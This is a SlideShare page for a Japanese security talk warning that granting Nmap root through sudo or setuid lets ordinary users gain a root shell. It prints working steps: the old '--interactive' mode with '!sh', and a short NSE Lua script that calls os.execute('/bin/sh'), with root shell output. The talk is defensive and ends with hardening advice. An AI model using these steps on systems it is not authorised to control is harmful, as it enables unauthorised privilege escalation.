Nmapの真実(ゾクゾク)

501 views

Published on

Nmapの真実(続) by abendさん のファンなので乗っかって書いてみました。 @ymzkei5

Published in: Software
0 Comments
3 Likes
Statistics
Notes
  • Be the first to comment

No Downloads
Views
Total views
501
On SlideShare
0
From Embeds
0
Number of Embeds
31
Actions
Shares
0
Downloads
0
Comments
0
Likes
3
Embeds 0
No embeds

No notes for slide

Nmapの真実(ゾクゾク)

  1. 1. Nmapの真実(ゾクゾク) @ymzkei5
  2. 2. きっかけ • 小河さん(@abendさん) の『Nmapの真実(続)』 が面白かったので乗っかろうと思いました!! • 『Nmapの真実』シリーズ ▫ Nmapの真実 → http://www.slideshare.net/abend _cve_9999_0001/nmap-61009153 ▫ Nmap 9つの真実 → http://www.slideshare.net/ab end_cve_9999_0001/nmap-9 ▫ Nmapの真実(続) → http://www.slideshare.net/ab end_cve_9999_0001/nmap-68233390
  3. 3. 「Nmapの真実(続)」が教えてくれたこと • 一般ユーザと管理者とでNmapの挙動が変わる。
  4. 4. 「Nmapの真実(続)」が教えてくれたこと • 一般ユーザと管理者とでNmapの挙動が変わる。
  5. 5. 「Nmapの真実(続)」が教えてくれたこと • 一般ユーザと管理者とでNmapの挙動が変わる。
  6. 6. 目に浮かんだこと • サーバ管理者「OK! 一般ユーザのために、 Nmapが管理者権限で動くようにしてあげよう」
  7. 7. 目に浮かんだこと • サーバ管理者「OK! 一般ユーザのために、 Nmapが管理者権限で動くようにしてあげよう」 • 皆さんは、一般ユーザがNmapを使うサーバなん て無ぇよ!と思ったかも知れませんが、
  8. 8. 目に浮かんだこと • サーバ管理者「OK! 一般ユーザのために、 Nmapが管理者権限で動くようにしてあげよう」 • 皆さんは、一般ユーザがNmapを使うサーバなん て無ぇよ!と思ったかも知れませんが、 わりとあります。
  9. 9. 目に浮かんだこと • サーバ管理者「OK! 一般ユーザのために、 Nmapが管理者権限で動くようにしてあげよう」 • 皆さんは、一般ユーザがNmapを使うサーバなん て無ぇよ!と思ったかも知れませんが、 わりとあります。 • あります…よね?(え? 私の周辺だけ?)
  10. 10. やりそうなこと • その1 : sudoを許す cat /etc/sudoers ... %users ALL=/usr/bin/nmap
  11. 11. やりそうなこと • その1 : sudoを許す • その2 : setuid rootしてしまう cat /etc/sudoers ... %users ALL=/usr/bin/nmap -rwxr-xr-x 1 root root 373348 Feb 7 2014 nmap ↓ -rwsr-xr-x 1 root root 373348 Feb 7 2014 nmap
  12. 12. すると、どうなるか… • 古き良き時代のバージョンだと、 [keigo@yamazakiVM ~]$ sudo nmap –interactive
  13. 13. すると、どうなるか… • 古き良き時代のバージョンだと、 [keigo@yamazakiVM ~]$ sudo nmap –interactive Starting nmap V. 2.53 by fyodor@insecure.org (www.insecure.org/nmap/) Welcome to Interactive Mode -- press h <enter> for help nmap>
  14. 14. すると、どうなるか… • 古き良き時代のバージョンだと、 [keigo@yamazakiVM ~]$ sudo nmap –interactive Starting nmap V. 2.53 by fyodor@insecure.org (www.insecure.org/nmap/) Welcome to Interactive Mode -- press h <enter> for help nmap> !sh
  15. 15. すると、どうなるか… • 古き良き時代のバージョンだと、 [keigo@yamazakiVM ~]$ sudo nmap –interactive Starting nmap V. 2.53 by fyodor@insecure.org (www.insecure.org/nmap/) Welcome to Interactive Mode -- press h <enter> for help nmap> !sh sh-4.1#
  16. 16. すると、どうなるか… • 古き良き時代のバージョンだと、 [keigo@yamazakiVM ~]$ sudo nmap –interactive Starting nmap V. 2.53 by fyodor@insecure.org (www.insecure.org/nmap/) Welcome to Interactive Mode -- press h <enter> for help nmap> !sh sh-4.1# id uid=0(root) gid=0(root) groups=0(root) sh-4.1#
  17. 17. ところが、 • 最近のバージョンだと、、 I removed the --interactive mode in r17131. People hadn't been using it since May 2009 at the latest, because that's when Juan Carlos Castro y Castro first reported that it would segfault during the second scan. http://seclists.org/nmap- dev/2009/q2/464 David Fifield $ sudo nmap --interactive nmap: unrecognized option '--interactive'
  18. 18. ところが、 • 最近のバージョンだと、、 • --interactive mode gone ▫ I removed the --interactive mode in r17131. People hadn't been using it since May 2009 at the latest, because that's when Juan Carlos Castro y Castro first reported that it would segfault during the second scan. http://seclists.org/nmap-dev/2009/q2/464 David Fifield http://seclists.org/nmap-dev/2010/q1/1241 $ sudo nmap --interactive nmap: unrecognized option '--interactive'
  19. 19. ところが、 • 最近のバージョンだと、、 • --interactive mode gone ▫ I removed the --interactive mode in r17131. People hadn't been using it since May 2009 at the latest, because that's when Juan Carlos Castro y Castro first reported that it would segfault during the second scan. http://seclists.org/nmap-dev/2009/q2/464 David Fifield http://seclists.org/nmap-dev/2010/q1/1241 $ sudo nmap --interactive nmap: unrecognized option '--interactive' interactiveモード 自体が無い! 何これ安心!!!
  20. 20. 安心できませんよ! • 皆さん、もうピンと来ているとおり、ぜんぜん 安心できません。 • 例えば、Nmapスクリプトを書いてみるとか。 ▫ SCRIPT SCAN: --script=<Lua scripts>: <Lua scripts> is a comma separated list of directories, script-files or script- categories
  21. 21. 書いてみた • sh.nse description = [[]] author = "Keigo Yamazaki" categories = {} hostrule = function(host) return true end action = function() os.execute("/bin/sh") end
  22. 22. root取ってみた $ sudo nmap -script ./sh.nse 127.0.0.1 -p 80 Starting Nmap 5.51 ( http://nmap.org ) at 2016-11-06 09:16 JST sh-4.1#
  23. 23. root取ってみた $ sudo nmap -script ./sh.nse 127.0.0.1 -p 80 Starting Nmap 5.51 ( http://nmap.org ) at 2016-11-06 09:16 JST sh-4.1# sh-4.1# id uid=0(root) gid=0(root) groups=0(root) sh-4.1# sh-4.1# exit Nmap scan report for localhost (127.0.0.1) Host is up (0.00011s latency). PORT STATE SERVICE 80/tcp open http Nmap done: 1 IP address (1 host up) scanned in 6.39 seconds $
  24. 24. まとめ • Nmapを精確に実行したいなら、管理者権限で 実行する必要がある。 • でも、Nmapに管理者権限を与えると、任意の OSコマンドの実行などもおこなわれてしまう。 • 共用サーバでは使わないか、rootを取られても 良い信頼できる人だけに使わせましょう。 • Nmapスクリプトを信頼できるパスからしか実 行できないように制限する手や、SELinux等で 制限する手もあるかもですが。

×